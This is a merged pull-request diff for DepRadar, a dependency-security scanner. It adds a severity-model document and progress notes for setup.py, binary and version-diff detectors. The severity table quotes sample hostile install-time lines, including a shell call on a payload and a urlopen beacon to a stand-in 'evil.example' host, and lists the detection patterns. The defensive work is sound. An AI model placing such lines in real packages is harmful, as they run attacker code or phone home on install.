Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
2 changes: 2 additions & 0 deletions CONTRIBUTING.md
Original file line number Diff line number Diff line change
Expand Up @@ -61,6 +61,8 @@ Some tests in `src/cve/` call the live [OSV API](https://osv.dev); they skip
- One issue per PR where possible, with `Closes #N` in the description.
- Keep CI green: fmt, clippy, tests, the wasm build, and the client
typecheck all run on every PR.
- New detectors must rate their findings per the
[severity model](docs/severity.md) and add an example there.
- If you change `contracts/`, commit the regenerated files under
`contracts/deprader_router/test_snapshots/`.
- Security-sensitive findings go through [SECURITY.md](SECURITY.md), not
Expand Down
150 changes: 82 additions & 68 deletions PROGRESS.md
Original file line number Diff line number Diff line change
Expand Up @@ -460,78 +460,92 @@ is closed — see [CONTRIBUTING.md](CONTRIBUTING.md).
- **Closes:** #82
- **Status:** In review.


### crawler — shared rate limiter and polite HTTP client

- **What:** Adds [`src/net.rs`](src/net.rs) with `PoliteClient`, the one
blocking HTTP client every crawler shares. It wraps `reqwest::blocking`
with a descriptive User-Agent (`DEFAULT_USER_AGENT`, names DepRadar and
links the repo — required by crates.io's crawler policy), a request
timeout (`DEFAULT_TIMEOUT`, 15s), and a per-host token-bucket rate limit
of capacity one (`DEFAULT_PER_HOST_RATE`, 1 req/s per host): one token
refills every `per_host_rate`, so requests to the same host are spaced
evenly. `get`/`get_text`/`get_json` wait for a token before sending.
- **Tests:** Unit tests on the bucket (one immediate request, then delay;
refill after a full period); against mockito mock servers, N requests
take at least `(N-1) × rate`, two different hosts don't share a bucket,
invalid URLs are rejected before any request, and non-2xx statuses are
reported.
- **By:** orsar-rita
- **Closes:** #93
### behavioral — suspicious-call scan for Python `setup.py`

- **What:** Adds the `behavioral` analysis module (`src/behavioral/`) and
its first detector, `setup_py::scan_setup_py`
([`setup_py.rs`](src/behavioral/setup_py.rs)). PyPI sdists execute
`setup.py` at install time, making it the direct analogue of npm
install scripts. The scanner is line-based (no Python AST): it strips
`#` comments (quote-aware), then flags `subprocess` usage (calls and
imports), `os.system(...)`, `exec(`/`eval(`, `base64.b64decode(...)`
(including direct `b64decode` imports), and `urllib`/`requests` calls —
each emitted as a `BehavioralFinding` with the 1-based line number.
Command-execution signals rate **high**; obfuscation and network calls
rate **medium** (see [docs/severity.md](docs/severity.md)). Dependency
*names* like `install_requires=['requests']` are not calls and don't
trigger.
- **Tests:** A normal setuptools `setup.py` fixture scans clean; a
malicious sample flags every call kind at the right line number
(commented-out `eval` excluded); unit tests cover trailing comments,
`#` inside strings, lookalike identifiers (`peval`, `os.system = ...`),
per-line dedupe, and the direct-`b64decode` import.
- **By:** iam-mercy
- **Closes:** #103
- **Status:** In review.

### crawler — PyPI new-package crawler

- **What:** Adds [`src/crawler/pypi.rs`](src/crawler/pypi.rs).
`PypiCrawler::poll(PypiFeed)` fetches `https://pypi.org/rss/packages.xml`
(new projects) or `/rss/updates.xml` (new releases) through
`PoliteClient`, parses the RSS 2.0 body with a small hand-rolled
`<item>`/`<guid>`/`<title>`/`<link>`/`<pubDate>` extractor (`parse_feed`,
XML entities unescaped), and dedupes against a per-feed `Checkpoint` —
the GUID and publish time of the newest item seen last poll. Items are
reported newest-first; re-polling an unchanged feed yields nothing, and
when the checkpoint GUID ages out of the feed, RFC 822 publish times
(parsed to epoch seconds, no date crate) take over the comparison.
- **Tests:** Fixture RSS bodies cover item order, entity unescaping,
empty feeds, malformed (non-RSS) bodies, epoch conversion of known
dates, checkpoint dedupe (same feed twice, new item on top, GUID aged
out), and two-poll dedupe plus per-feed checkpoints against a mockito
server.
- **By:** orsar-rita
- **Closes:** #91
### behavioral — flag native binaries shipped inside packages

- **What:** Adds [`binaries.rs`](src/behavioral/binaries.rs):
`scan_binaries` walks an unpacked package tree and reports every file
that either carries an ELF (`\x7fELF`), PE (`MZ`) or Mach-O
(`FEEDFACE`/`FEEDFACF`, both endians) magic header, or has a native
extension (`.exe`, `.dll`, `.so`, `.dylib`, including versioned
`libfoo.so.1`). Magic bytes are checked before extensions, so an
extension-less ELF is still caught and a text file named `.dylib` is
still listed. Emits one low-severity informational finding listing all
binaries — prebuilt executables can't be code-reviewed, but real
projects ship legitimate native addons, so it's a review prompt, not a
red flag.
- **Tests:** Small fake headers for each format (ELF, PE, 64-bit LE and
32-bit BE Mach-O, plus non-magic short/empty buffers); extension
matching incl. `libfoo.so.1.2.3` and negative cases; a tempdir tree
mixing magic-hit, extension-only, nested and clean files; the
informational finding's low severity and file list; empty result for a
binary-free package.
- **By:** iam-mercy
- **Closes:** #104
- **Status:** In review.

### crawler — crates.io new-crate crawler

- **What:** Adds [`src/crawler/crates.rs`](src/crawler/crates.rs).
`CratesCrawler::crawl_new` pages
`GET /api/v1/crates?sort=new&per_page=100&page=N` through `PoliteClient`
and stops when it reaches the `Checkpoint` crate (the newest crate seen
last crawl), a short page, or a `max_pages` safety net — so a lost
checkpoint can't walk the whole registry. Policy compliance is documented
in the module docs: the User-Agent and the ≤1 req/s limit come from
`PoliteClient`, and this crawler has no other HTTP path.
- **Tests:** Mocked tests cover the API page shape, paging until the
checkpoint crate on page 2, dedupe across two crawls, the `max_pages`
cap, and stopping on a short page.
- **By:** orsar-rita
- **Closes:** #92
### behavioral — diff two package versions for risky changes

- **What:** Adds [`diff.rs`](src/behavioral/diff.rs): `diff_versions(old,
new)` compares two unpacked package trees and reports added/removed
files, install scripts present in `new` but not `old` (a root
`setup.py`, or npm `preinstall`/`install`/`postinstall` entries in
`package.json`), and suspicious `setup.py` calls new in `new`. Calls
are matched by file and kind (not line), so ordinary line shifts from a
version bump create no noise. `PackageDiff::is_clean()` is true when
only benign files changed. New install scripts rate medium; new calls
inherit their kind's level.
- **Tests:** Fixture pairs under
[`tests/fixtures/behavioral/`](tests/fixtures/behavioral): `leftpad-lite`
v1 (clean npm package) vs v2 (adds a malicious `setup.py` — the
headline case), identical trees (clean), v1 vs a docs-only bump (added
file alone stays clean), `beacon` v1/v2 (pre-existing `requests.get`
not re-reported, only the new `b64decode`), and `npmish` v1/v2 (new
`postinstall` in `package.json`).
- **By:** iam-mercy
- **Closes:** #105
- **Status:** In review.

### registry — npm package metadata fetch

- **What:** Adds [`src/registry/npm.rs`](src/registry/npm.rs).
`fetch_npm_metadata(name)` fetches `https://registry.npmjs.org/<name>`
via `PoliteClient` and reduces the document to
`PackageMeta { name, maintainers, created, modified, repository,
latest, versions_count }`. Scoped names are URL-encoded (`/` → `%2F`),
so `@types/node` is fetched from `/@types%2Fnode`; `repository` accepts
both the bare-string and object form the registry serves. A
`fetch_npm_metadata_with` variant takes a caller-supplied client so a
whole crawl shares one rate-limit budget.
- **Tests:** Fixture documents (lodash, `@types/node`) cover both
repository forms, maintainer usernames, missing optional fields, and a
mockito test asserts the encoded path is requested for a scoped name.
- **By:** orsar-rita
- **Closes:** #94
### docs — finding severity model

- **What:** Adds [`docs/severity.md`](docs/severity.md), the single place
defining what low, medium, high and critical mean in DepRadar. It
defines each level, gives a rated example per `FindingKind` (homoglyph
typosquat → critical, distance typosquat → high, vulnerability → its
advisory's level, unrated advisory → high) and per behavioral signal
(setup.py command execution → high, obfuscation/network → medium,
native binaries → low, new install script between versions → medium),
documents the CVSS v3 mapping (0.0–3.9 low, 4.0–6.9 medium, 7.0–8.9
high, 9.0–10.0 critical, per the CVSS v3.1 qualitative ratings) and
the label fallback, and explains how severity flows into `--fail-on`,
SARIF levels and `security-severity`, plus guidance for detector
authors. Linked from [README.md](README.md) (CLI section) and
[CONTRIBUTING.md](CONTRIBUTING.md) (PR checklist); all commands and
relative links verified.
- **Tests:** N/A (documentation only).
- **By:** iam-mercy
- **Closes:** #106
- **Status:** In review.
5 changes: 5 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -80,6 +80,11 @@ Useful options (run `depradar --help` for the full list):
Findings accepted in a `.depradarignore` next to the lockfile are reported
as suppressed and never fail the run.

Every finding carries a severity — low, medium, high, or critical. The
[severity model](docs/severity.md) defines each level with examples per
finding kind and explains how CVSS scores map in; `--fail-on` compares
against the same levels.

### Exit codes

| Code | Meaning |
Expand Down
98 changes: 98 additions & 0 deletions docs/severity.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,98 @@
# Finding severity model

Every finding DepRadar reports — typosquat, vulnerability, or behavioral —
carries one of four severity levels: **low**, **medium**, **high**, or
**critical**. This page defines what each level means, gives an example per
[`FindingKind`](../src/model.rs) and per behavioral detector, and explains
how CVSS scores map in. Detector authors: rate new findings consistently
with these definitions and add an example here.

## The levels

| Level | Meaning |
| --- | --- |
| **Critical** | Near-certain compromise; act before merging or deploying. |
| **High** | Strong indicator of a malicious or vulnerable dependency; block CI by default (`--fail-on high`). |
| **Medium** | Suspicious, needs human judgment; worth reviewing but not a default CI failure. |
| **Low** | Informational context for a reviewer; almost always benign on its own. |

## How each finding kind is rated

`severity_of` in [`src/report/mod.rs`](../src/report/mod.rs) applies these
rules, in order:

### `FindingKind::Typosquat`

A homoglyph impersonation is **critical**: lookalike Unicode characters
only reach a package name deliberately — an honest near-collision never
contains a Cyrillic `а` where the popular package has a Latin `a`.
Example: a package whose normalized name is exactly `react` after
homoglyph folding, but isn't `react`.

A name that is merely a few edits from a popular package is **high**: it
may be an honest near-collision, but it's also the classic typosquat
shape. Example: `expresss` (one extra `s` from `express`).

### `FindingKind::Vulnerability`

A vulnerability takes the severity of its OSV advisory — see "How CVSS
maps in" below. When the advisory has no usable severity data, or the
full record couldn't be fetched, the finding is rated **high**
(`UNRATED_ADVISORY`): erring high keeps unrated advisories from slipping
past a CI gate. Example: an advisory with a CVSS v3 vector of
`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` (base score 9.8) is
**critical**.

### Behavioral findings

Behavioral detectors ([`src/behavioral/`](../src/behavioral/mod.rs)) rate
by what the behavior can do at install time:

| Signal | Level | Example |
| --- | --- | --- |
| `setup.py` command execution (`subprocess`, `os.system`, `exec`, `eval`) | **High** | `subprocess.run(['sh', '-c', payload], check=False)` in `setup.py` — arbitrary code runs on install. |
| `setup.py` obfuscation (`base64.b64decode`) | **Medium** | `base64.b64decode(meta)` decoding a payload embedded in the sdist. |
| `setup.py` network calls (`urllib`, `requests`) | **Medium** | `urllib.request.urlopen('https://evil.example/beacon')` phoning home during install. |
| Native binaries shipped in a package | **Low** | An ELF, PE, or Mach-O file, or a `.exe`/`.dll`/`.so`/`.dylib`, inside an unpacked npm or PyPI package — informational, since native addons are common and legitimate. |
| New install script between two versions | **Medium** | A patch release that adds `setup.py` or an npm `postinstall` hook. |
| New suspicious `setup.py` call between two versions | *(inherits)* | The new call keeps the level of its kind (command execution → high, obfuscation/network → medium). |

## How CVSS maps in

Vulnerability findings inherit their advisory's CVSS v3.x base score, which
[`Severity::from_score`](../src/cve/severity.rs) buckets using the standard
qualitative ratings from the
[CVSS v3.1 specification](https://www.first.org/cvss/v3.1/specification-document):

| CVSS v3 base score | Level |
| --- | --- |
| 0.0 – 3.9 | **Low** |
| 4.0 – 6.9 | **Medium** |
| 7.0 – 8.9 | **High** |
| 9.0 – 10.0 | **Critical** |

A score of exactly 0.0 ("None" in CVSS) is reported as **low**, not as a
separate "none" level. When an advisory carries no CVSS vector, the
`database_specific.severity` label (`LOW`, `MODERATE`, `MEDIUM`, `HIGH`,
`CRITICAL`) is used instead; `MODERATE` maps to **medium**. When neither
is available — or the advisory record couldn't be fetched — the finding is
rated **high** (see above).

## Severity in output

- The CLI's `--fail-on` flag (`low|medium|high|critical|none`, default
`high`) sets the level at which a scan exits non-zero.
- SARIF output maps critical/high to `error`, medium to `warning`, and low
to `note`, and attaches a representative `security-severity` score
(9.5 / 8.0 / 5.5 / 2.0) so GitHub code scanning buckets findings the
same way.
- Text output color-codes the level label.

## Adding a detector

1. Give every finding a level from the table above; when in doubt, match
the closest existing signal (install-time code execution → high,
context a human should glance at → low).
2. Use the shared [`Severity`](../src/cve/severity.rs) enum — don't invent
per-detector levels.
3. Add a row or bullet with a concrete example on this page.
Loading
Loading